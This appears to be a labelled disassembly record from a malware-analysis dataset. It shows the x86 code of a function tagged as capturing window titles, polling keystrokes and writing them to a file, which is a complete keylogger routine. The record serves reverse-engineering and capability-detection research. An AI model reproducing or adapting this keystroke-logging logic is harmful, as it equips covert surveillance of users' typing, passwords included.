Function at 0x401580
Capabilities:
Get graphical window text
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x418]
push edi
mov edi, 0x1f4
push esi
xor esi, esi
push ebx
sub esp, 0x42c
mov ebx, 0x1f4
mov dword [esp + 8], edi
lea edi, [ebp - 0x218]
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], ebx
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], edi
call sub.msvcrt.dll_memset
lea esi, [esi]
lea edi, [edi]
mov dword [esp], 0xa
mov ebx, 8
call sub.msvcrt.dll__sleep
jmp 0x4015f0
lea esi, [ebx + 1]
movsx ebx, si
cmp bx, 0xde
jg 0x4015d0
mov dword [esp], ebx
call sub.USER32.dll_GetAsyncKeyState
sub esp, 4
cmp ax, 0x8001
jne 0x4015e3
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], eax
mov ecx, 0x1f4
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
call sub.USER32.dll_GetWindowTextA
sub esp, 0xc
lea edx, [ebp - 0x418]
mov dword [esp + 4], edx
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401653
mov dword [esp + 4], edi
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
cmp byte [ebp - 0x218], 0
jne 0x401721
mov eax, dword [0x405080]
mov esi, 0x404047
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x40177b
mov dword [esp], 0xa2
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x4016eb.10
mov dword [esp], 0xa3
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x4016eb.10
mov dword [esp], 0xa4
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x4016eb.10
mov dword [esp], 0xa5
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js case.0x4016eb.10
lea edx, [ebx - 0x30]
cmp dx, 0x10
jbe 0x4017dc
lea ecx, [ebx - 0x41]
cmp cx, 0x19
jbe 0x401788
lea eax, [ebx - 8]
cmp eax, 0xd6
ja case.0x4016eb.10
jmp dword [eax*4 + 0x4040a4]
mov dword [esp + 0xc], esi
mov ecx, 4
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x40404a
call sub.msvcrt.dll_fwrite
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x4015d0
mov esi, dword [0x405080]
mov edx, 0x404047
mov dword [esp + 4], edx
mov dword [esp], esi
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x40177b
mov dword [esp + 8], edi
mov ecx, str._n__s__n
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
mov dword [esp], esi
mov esi, 0x404047
call sub.msvcrt.dll_fclose
mov dword [esp + 4], esi
mov eax, dword [0x405080]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
jne 0x401673
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0xa0
xor eax, eax
mov dword [ebp - 0x41c], eax
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x4017f5
mov dword [esp], 0xa1
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x4017f5
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
jne 0x401814
mov ecx, dword [ebp - 0x41c]
test ecx, ecx
jne 0x4017dc
lea edx, [ebx + 0x20]
movsx ebx, dx
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_fputc
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x4015d0
mov dword [esp], 0x14
mov edx, 1
mov dword [ebp - 0x41c], edx
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
je 0x4017cc
mov eax, dword [ebp - 0x41c]
test eax, eax
jne 0x4017d6
mov dword [esp + 4], esi
mov dword [esp], ebx
jmp 0x4017e3
mov dword [esp + 0xc], esi
mov edx, 4
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0x404056
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov ecx, 4
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x40405b
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov edx, 4
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0x404060
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov ecx, 4
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], str.___
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov edx, 4
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0x40406a
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov edx, 4
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str._.__
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov ecx, 4
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x404074
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov edx, 4
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.____
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov ecx, 4
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], str.__
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov ecx, 4
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], str.__:_
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 4], esi
mov dword [esp], 0x2f
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x2e
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x2d
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x2b
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x2a
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x39
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x38
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x37
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x36
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x35
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x34
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x33
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x32
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x31
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 4], esi
mov dword [esp], 0x30
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 0xc], esi
mov edx, 5
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str._DEL_
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 4], esi
mov dword [esp], 0x20
call sub.msvcrt.dll_fputc
jmp 0x4017e8
mov dword [esp + 0xc], esi
mov ecx, 8
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], str._ENTER__n
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov edx, 5
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str._TAB_
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10
mov dword [esp + 0xc], esi
mov ecx, 6
mov ebx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], str._BACK_
call sub.msvcrt.dll_fwrite
jmp case.0x4016eb.10